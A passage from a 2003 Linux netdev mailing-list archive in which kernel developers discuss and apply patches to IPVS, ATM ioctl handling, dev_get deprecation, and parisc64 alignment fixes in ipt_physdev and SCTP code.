remove register in declarations, it is good to remove > all of them, for example in the ip_vs_rr.c, ip_vs_wrr.c, ip_vs_wlc.c, > ip_vs_nq.c and ip_vs_sed.c. For now I've applied Stephen's patch, someone can send me another patch for the rest of them. From davem@pizda.ninka.net Sat Sep 20 01:17:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:17:03 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8GxFx006252 for ; Sat, 20 Sep 2003 01:16:59 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10124; Sat, 20 Sep 2003 01:04:35 -0700 Date: Sat, 20 Sep 2003 01:04:35 -0700 From: "David S. Miller" To: Wensong Zhang Cc: shemminger@osdl.org, lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: Re: [PATCH] (1/6) ipvs -- get rid of SEQ_START_TOKEN define Message-Id: <20030920010435.7f87cbee.davem@redhat.com> In-Reply-To: References: <20030916141731.276de60c.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 88 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 265 Lines: 12 On Wed, 17 Sep 2003 23:59:46 +0800 (CST) Wensong Zhang wrote: > On Tue, 16 Sep 2003, Stephen Hemminger wrote: > > > Applies to 2.6.0-test5 with my seq_file patches from yesterday. > > OK, thanks! > > Dave, please apply this patch. Done. From davem@pizda.ninka.net Sat Sep 20 01:18:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:18:43 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8IdFx006575 for ; Sat, 20 Sep 2003 01:18:39 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10161; Sat, 20 Sep 2003 01:06:17 -0700 Date: Sat, 20 Sep 2003 01:06:16 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: wensong@linux-vs.org, lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: Re: [PATCH] (3/6) ipvs -- use list_for_each_entry macro's Message-Id: <20030920010616.2ff3c3d0.davem@redhat.com> In-Reply-To: <20030916141750.53bbb04e.shemminger@osdl.org> References: <20030916141750.53bbb04e.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 89 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 202 Lines: 7 On Tue, 16 Sep 2003 14:17:50 -0700 Stephen Hemminger wrote: > There are many places where list_for_each_entry macro can be used in IPVS > code. Looks fine to me, applied thanks. From davem@pizda.ninka.net Sat Sep 20 01:19:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:19:46 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8JgFx006895 for ; Sat, 20 Sep 2003 01:19:42 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10191; Sat, 20 Sep 2003 01:07:16 -0700 Date: Sat, 20 Sep 2003 01:07:16 -0700 From: "David S. Miller" To: Wensong Zhang Cc: shemminger@osdl.org, lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: Re: [PATCH] (5/6) ipvs -- use time_before/after Message-Id: <20030920010716.74e6bad8.davem@redhat.com> In-Reply-To: References: <20030916142227.6dddd19d.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 90 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 157 Lines: 6 On Thu, 18 Sep 2003 00:40:34 +0800 (CST) Wensong Zhang wrote: > It's a good change. Dave, please apply it to your repository. Done. From davem@pizda.ninka.net Sat Sep 20 01:22:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:22:39 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8MWFx007239 for ; Sat, 20 Sep 2003 01:22:32 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10241; Sat, 20 Sep 2003 01:10:10 -0700 Date: Sat, 20 Sep 2003 01:10:10 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] deprecate dev_get Message-Id: <20030920011010.3337d12d.davem@redhat.com> In-Reply-To: <20030915171230.68c08e26.shemminger@osdl.org> References: <20030915171230.68c08e26.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 91 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 465 Lines: 13 On Mon, 15 Sep 2003 17:12:30 -0700 Stephen Hemminger wrote: > The interface dev_get has past it's usefulness. I sent out patches > that remove the two other uses left of it in the 2.6 tree. > > This marks it as deprecated because there still may be out of tree > drivers that use it. I've applied this, and I'll apply your fix next. Even though Jeff hasn't pushed your other bits yet, the warnings will just go away once he gets to that. From davem@pizda.ninka.net Sat Sep 20 01:25:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:25:23 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8PGFx007569 for ; Sat, 20 Sep 2003 01:25:16 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10285; Sat, 20 Sep 2003 01:12:54 -0700 Date: Sat, 20 Sep 2003 01:12:54 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM][2.4] split atm_ioctl into vcc_ioctl and atm_dev_ioctl Message-Id: <20030920011254.58fc2a1b.davem@redhat.com> In-Reply-To: <200309161200.h8GC0PSa012595@ginger.cmf.nrl.navy.mil> References: <200309161200.h8GC0PSa012595@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 92 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 327 Lines: 9 On Tue, 16 Sep 2003 08:00:26 -0400 chas williams wrote: > # 03/09/14 chas@relax.cmf.nrl.navy.mil 1.1131 > # svc.c, resources.h, resources.c, pvc.c, common.h, common.c: > # [ATM]: split atm_ioctl into vcc_ioctl and atm_dev_ioctl > # -------------------------------------------- Applied, thanks Chas. From davem@pizda.ninka.net Sat Sep 20 01:25:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:26:04 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8PwFx007697 for ; Sat, 20 Sep 2003 01:25:58 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10308; Sat, 20 Sep 2003 01:13:37 -0700 Date: Sat, 20 Sep 2003 01:13:37 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][2.4][ATM] cleanup atm_dev_ioctl a bit (from mitch@sfgoth.com) Message-Id: <20030920011337.699c8d8c.davem@redhat.com> In-Reply-To: <200309161202.h8GC2ASa012603@ginger.cmf.nrl.navy.mil> References: <200309161202.h8GC2ASa012603@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 93 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 169 Lines: 6 On Tue, 16 Sep 2003 08:02:11 -0400 chas williams wrote: > # [ATM]: cleanup atm_dev_ioctl a bit (from mitch@sfgoth.com) Applied, thanks Chas. From davem@pizda.ninka.net Sat Sep 20 01:26:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:26:36 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8QWFx008005 for ; Sat, 20 Sep 2003 01:26:32 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10331; Sat, 20 Sep 2003 01:14:10 -0700 Date: Sat, 20 Sep 2003 01:14:10 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][2.4][ATM] implement pppoatm_ioctl_hook for pppoatm Message-Id: <20030920011410.7b0bd1eb.davem@redhat.com> In-Reply-To: <200309161203.h8GC32Sa012616@ginger.cmf.nrl.navy.mil> References: <200309161203.h8GC32Sa012616@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 94 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 158 Lines: 6 On Tue, 16 Sep 2003 08:03:03 -0400 chas williams wrote: > # [ATM]: implement pppoatm_ioctl_hook for pppoatm Applied, thanks Chas. From davem@pizda.ninka.net Sat Sep 20 01:27:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:27:10 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8R6Fx008325 for ; Sat, 20 Sep 2003 01:27:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10354; Sat, 20 Sep 2003 01:14:44 -0700 Date: Sat, 20 Sep 2003 01:14:44 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][2.4][ATM] implement br2684_ioctl_hook for br2684 Message-Id: <20030920011444.0d4ab82f.davem@redhat.com> In-Reply-To: <200309161204.h8GC4CSa012637@ginger.cmf.nrl.navy.mil> References: <200309161204.h8GC4CSa012637@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 95 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 154 Lines: 6 On Tue, 16 Sep 2003 08:04:13 -0400 chas williams wrote: > # [ATM]: implement br2684_ioctl_hook for br2684 Applied, thanks Chas. From davem@pizda.ninka.net Sat Sep 20 01:30:47 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:30:51 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8UkFx008875 for ; Sat, 20 Sep 2003 01:30:46 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10397; Sat, 20 Sep 2003 01:18:19 -0700 Date: Sat, 20 Sep 2003 01:18:19 -0700 From: "David S. Miller" To: Krishna Kumar Cc: kuznet@ms2.inr.ac.ru, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com, krkumar@us.ibm.com Subject: Re: O/M flags for 2.4.22 (was "Re: O/M flags against 2.6.0-test1") Message-Id: <20030920011819.0be5b034.davem@redhat.com> In-Reply-To: References: <20030912171921.37cab171.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 96 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 146 Lines: 6 On Tue, 16 Sep 2003 15:06:37 -0700 (PDT) Krishna Kumar wrote: > The patch is against 2.4.22-bk19. Applied, thanks Krishna. From bdschuym@pandora.be Sat Sep 20 04:32:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 04:32:18 -0700 (PDT) Received: from adicia.telenet-ops.be (adicia.telenet-ops.be [195.130.132.56]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KBW1Fx021941 for ; Sat, 20 Sep 2003 04:32:02 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by adicia.telenet-ops.be (Postfix) with SMTP id 741F837E80; Sat, 20 Sep 2003 13:32:00 +0200 (MEST) Received: from 192.168.123.138 (D5762BF3.kabel.telenet.be [213.118.43.243]) by adicia.telenet-ops.be (Postfix) with ESMTP id A0C6137EAC; Sat, 20 Sep 2003 13:31:58 +0200 (MEST) From: Bart De Schuymer To: "David S. Miller" Subject: Re: ipt_physdev.c alignment problems on parisc64 Date: Sat, 20 Sep 2003 13:32:12 +0200 User-Agent: KMail/1.5 Cc: laforge@netfilter.org, hno@marasystems.com, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <200309022116.41697.bdschuym@pandora.be> <200309172317.38348.bdschuym@pandora.be> <20030918194802.6726d53c.davem@redhat.com> In-Reply-To: <20030918194802.6726d53c.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309201332.13167.bdschuym@pandora.be> X-archive-position: 97 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev Content-Length: 2518 Lines: 72 On Friday 19 September 2003 04:48, David S. Miller wrote: > Don't use an alignment attribute, just put the member of > the struct at the very beginning and use "unsigned int" > at a time op+comparisons. > > How about that? Fine with me. cheers, Bart --- linux-2.6.0-test5/include/linux/netfilter_ipv4/ipt_physdev.h.old 2003-09-20 13:28:26.000000000 +0200 +++ linux-2.6.0-test5/include/linux/netfilter_ipv4/ipt_physdev.h 2003-09-20 13:29:06.000000000 +0200 @@ -13,12 +13,12 @@ #define IPT_PHYSDEV_OP_MASK (0x20 - 1) struct ipt_physdev_info { - u_int8_t invert; - u_int8_t bitmask; char physindev[IFNAMSIZ]; char in_mask[IFNAMSIZ]; char physoutdev[IFNAMSIZ]; char out_mask[IFNAMSIZ]; + u_int8_t invert; + u_int8_t bitmask; }; #endif /*_IPT_PHYSDEV_H*/ --- linux-2.6.0-test5/net/ipv4/netfilter/ipt_physdev.c.old 2003-09-20 13:28:44.000000000 +0200 +++ linux-2.6.0-test5/net/ipv4/netfilter/ipt_physdev.c 2003-09-20 13:29:06.000000000 +0200 @@ -23,7 +23,7 @@ match(const struct sk_buff *skb, int i; static const char nulldevname[IFNAMSIZ]; const struct ipt_physdev_info *info = matchinfo; - unsigned long ret; + unsigned int ret; const char *indev, *outdev; struct nf_bridge_info *nf_bridge; @@ -65,10 +65,10 @@ match(const struct sk_buff *skb, if (!(info->bitmask & IPT_PHYSDEV_OP_IN)) goto match_outdev; indev = nf_bridge->physindev ? nf_bridge->physindev->name : nulldevname; - for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned long); i++) { - ret |= (((const unsigned long *)indev)[i] - ^ ((const unsigned long *)info->physindev)[i]) - & ((const unsigned long *)info->in_mask)[i]; + for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned int); i++) { + ret |= (((const unsigned int *)indev)[i] + ^ ((const unsigned int *)info->physindev)[i]) + & ((const unsigned int *)info->in_mask)[i]; } if ((ret == 0) ^ !(info->invert & IPT_PHYSDEV_OP_IN)) @@ -79,10 +79,10 @@ match_outdev: return MATCH; outdev = nf_bridge->physoutdev ? nf_bridge->physoutdev->name : nulldevname; - for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned long); i++) { - ret |= (((const unsigned long *)outdev)[i] - ^ ((const unsigned long *)info->physoutdev)[i]) - & ((const unsigned long *)info->out_mask)[i]; + for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned int); i++) { + ret |= (((const unsigned int *)outdev)[i] + ^ ((const unsigned int *)info->physoutdev)[i]) + & ((const unsigned int *)info->out_mask)[i]; } return (ret != 0) ^ !(info->invert & IPT_PHYSDEV_OP_OUT); From wensong@linux-vs.org Sat Sep 20 08:40:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 08:40:36 -0700 (PDT) Received: from lb1.ctrip.com ([218.244.111.2]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KFeTFx005832 for ; Sat, 20 Sep 2003 08:40:30 -0700 Received: from penguin.linux-vs.org ([211.136.72.122]) by lb1.ctrip.com (8.12.9/8.12.9) with ESMTP id h8KFdW6v021632 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Sat, 20 Sep 2003 23:39:53 +0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by penguin.linux-vs.org (8.12.8/8.12.8) with ESMTP id h8KFdAMe002195; Sat, 20 Sep 2003 23:39:14 +0800 Date: Sat, 20 Sep 2003 23:39:10 +0800 (CST) From: Wensong Zhang To: "David S. Miller" cc: shemminger@osdl.org, , Subject: Re: [PATCH] (4/6) ipvs -- use reader locks and refcounts correctly. In-Reply-To: <20030920010010.7ed69543.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1463755008-885633216-1064072350=:2193" X-archive-position: 98 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wensong@linux-vs.org Precedence: bulk X-list: netdev Content-Length: 3472 Lines: 75 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1463755008-885633216-1064072350=:2193 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 20 Sep 2003, David S. Miller wrote: > On Thu, 18 Sep 2003 00:44:16 +0800 (CST) > Wensong Zhang wrote: > > > So, maybe we just apply the simple patch with making the lock local and > > tagging user pointers. > > Can someone put such a patch together for me? > Please see the attached patch. Thanks, Wensong ---1463755008-885633216-1064072350=:2193 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="typetidyup.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="typetidyup.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTMxNSAgLT4gMS4xMzE2IA0KIwlu ZXQvaXB2NC9pcHZzL2lwX3ZzX2N0bC5jCTEuNCAgICAgLT4gMS41ICAgIA0K Iw0KIyBUaGUgZm9sbG93aW5nIGlzIHRoZSBCaXRLZWVwZXIgQ2hhbmdlU2V0 IExvZw0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLQ0KIyAwMy8wOS8xOAlzaGVtbWluZ2VyQG9zZGwub3JnCTEuMTMx Ng0KIyBbSVBWNF0gSVBWUzogc29tZSB0eXBlIGRlY2xhcmF0aW9uIHRpZHkg dXANCiMgDQojIC0gbWFrZSB0aGUgX19pcF92c19zdmNfbG9jayBsb2NhbA0K IyAtIHRhZyB1c2VyIHBvaW50ZXJzIF9fdXNlcg0KIyAtLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIw0KZGlmZiAtTnJ1 IGEvbmV0L2lwdjQvaXB2cy9pcF92c19jdGwuYyBiL25ldC9pcHY0L2lwdnMv aXBfdnNfY3RsLmMNCi0tLSBhL25ldC9pcHY0L2lwdnMvaXBfdnNfY3RsLmMJ U2F0IFNlcCAyMCAyMjo1NTozOSAyMDAzDQorKysgYi9uZXQvaXB2NC9pcHZz L2lwX3ZzX2N0bC5jCVNhdCBTZXAgMjAgMjI6NTU6MzkgMjAwMw0KQEAgLTQ2 LDcgKzQ2LDcgQEANCiBzdGF0aWMgREVDTEFSRV9NVVRFWChfX2lwX3ZzX211 dGV4KTsNCiANCiAvKiBsb2NrIGZvciBzZXJ2aWNlIHRhYmxlICovDQotcnds b2NrX3QgX19pcF92c19zdmNfbG9jayA9IFJXX0xPQ0tfVU5MT0NLRUQ7DQor c3RhdGljIHJ3bG9ja190IF9faXBfdnNfc3ZjX2xvY2sgPSBSV19MT0NLX1VO TE9DS0VEOw0KIA0KIC8qIGxvY2sgZm9yIHRhYmxlIHdpdGggdGhlIHJlYWwg c2VydmljZXMgKi8NCiBzdGF0aWMgcndsb2NrX3QgX19pcF92c19yc19sb2Nr ID0gUldfTE9DS19VTkxPQ0tFRDsNCkBAIC0xOTEyLDcgKzE5MTIsNyBAQA0K IA0KIHN0YXRpYyBpbmxpbmUgaW50DQogX19pcF92c19nZXRfc2VydmljZV9l bnRyaWVzKGNvbnN0IHN0cnVjdCBpcF92c19nZXRfc2VydmljZXMgKmdldCwN Ci0JCQkgICAgc3RydWN0IGlwX3ZzX2dldF9zZXJ2aWNlcyAqdXB0cikNCisJ CQkgICAgc3RydWN0IGlwX3ZzX2dldF9zZXJ2aWNlcyBfX3VzZXIgKnVwdHIp DQogew0KIAlpbnQgaWR4LCBjb3VudD0wOw0KIAlzdHJ1Y3QgaXBfdnNfc2Vy dmljZSAqc3ZjOw0KQEAgLTE5NTUsNyArMTk1NSw3IEBADQogDQogc3RhdGlj IGlubGluZSBpbnQNCiBfX2lwX3ZzX2dldF9kZXN0X2VudHJpZXMoY29uc3Qg c3RydWN0IGlwX3ZzX2dldF9kZXN0cyAqZ2V0LA0KLQkJCSBzdHJ1Y3QgaXBf dnNfZ2V0X2Rlc3RzICp1cHRyKQ0KKwkJCSBzdHJ1Y3QgaXBfdnNfZ2V0X2Rl c3RzIF9fdXNlciAqdXB0cikNCiB7DQogCXN0cnVjdCBpcF92c19zZXJ2aWNl ICpzdmM7DQogCWludCByZXQgPSAwOw0KQEAgLTIwMzQsNyArMjAzNCw3IEBA DQogfTsNCiANCiBzdGF0aWMgaW50DQotZG9faXBfdnNfZ2V0X2N0bChzdHJ1 Y3Qgc29jayAqc2ssIGludCBjbWQsIHZvaWQgKnVzZXIsIGludCAqbGVuKQ0K K2RvX2lwX3ZzX2dldF9jdGwoc3RydWN0IHNvY2sgKnNrLCBpbnQgY21kLCB2 b2lkIF9fdXNlciAqdXNlciwgaW50ICpsZW4pDQogew0KIAl1bnNpZ25lZCBj aGFyIGFyZ1sxMjhdOw0KIAlpbnQgcmV0ID0gMDsNCg== ---1463755008-885633216-1064072350=:2193-- From acme@conectiva.com.br Sat Sep 20 08:50:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 08:50:45 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KFodFx006242 for ; Sat, 20 Sep 2003 08:50:40 -0700 Received: from [200.181.169.145] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1A0k9g-0003L4-00; Sat, 20 Sep 2003 13:00:17 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 7E413E72F; Sat, 20 Sep 2003 15:54:05 +0000 (UTC) Date: Sat, 20 Sep 2003 12:54:05 -0300 From: Arnaldo Carvalho de Melo To: "David S. Miller" Cc: Sridhar Samudrala , netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: Re: net/sctp/sm_make_chunk.c alignment problems on parisc64 Message-ID: <20030920155404.GA29040@conectiva.com.br> References: <20030918195525.28c17cb1.davem@redhat.com> <20030919233909.7ec3aab0.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030919233909.7ec3aab0.davem@redhat.com> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 99 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 1216 Lines: 38 Em Fri, Sep 19, 2003 at 11:39:09PM -0700, David S. Miller escreveu: > On Fri, 19 Sep 2003 15:15:53 -0700 (PDT) > Sridhar Samudrala wrote: > > > But unfortunately i am not able see this problem with a parisc64 cross compiler > > on i386. So it makes it hard to debug or fix it. Looks like this happens only > > when building natively on a parisc64 machine which i don't have access to. > > Did you build with or without SMP enabled? Yes, here I'm building without SMP enabled. > Anyways, try to work with Arnaldo to figure out the precise statement > causing the problems. The problem is right at: tv_add(&asoc->cookie_life, &cookie->c.expiration); and more specifically the problem is with cookie->c.expiration, that in turn points to this line: cookie = (struct sctp_signed_cookie *) retval->body; Now retval is of this type: /* Section 3.3.3.1 State Cookie (7) */ typedef struct sctp_cookie_param { sctp_paramhdr_t p; __u32 body[0]; } sctp_cookie_param_t __attribute__((packed)); I removed the packed attribute both from sctp_cookie_param_t and sctp_paramhdr_t, the problem persists, ideas? Please send any patch you come up with, I'll be happy to test it. - Arnaldo From acme@conectiva.com.br Sat Sep 20 09:02:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 09:02:10 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KG25Fx006642 for ; Sat, 20 Sep 2003 09:02:06 -0700 Received: from [200.181.169.145] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1A0kKg-0003TP-00; Sat, 20 Sep 2003 13:11:38 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 24B6CE72F; Sat, 20 Sep 2003 16:05:27 +0000 (UTC) Date: Sat, 20 Sep 2003 13:05:26 -0300 From: Arnaldo Carvalho de Melo To: Bart De Schuymer Cc: "David S. Miller" , laforge@netfilter.org, hno@marasystems.com, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-ID: <20030920160526.GB29040@conectiva.com.br> References: <200309022116.41697.bdschuym@pandora.be> <200309172317.38348.bdschuym@pandora.be> <20030918194802.6726d53c.davem@redhat.com> <200309201332.13167.bdschuym@pandora.be> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200309201332.13167.bdschuym@pandora.be> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 100 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 387 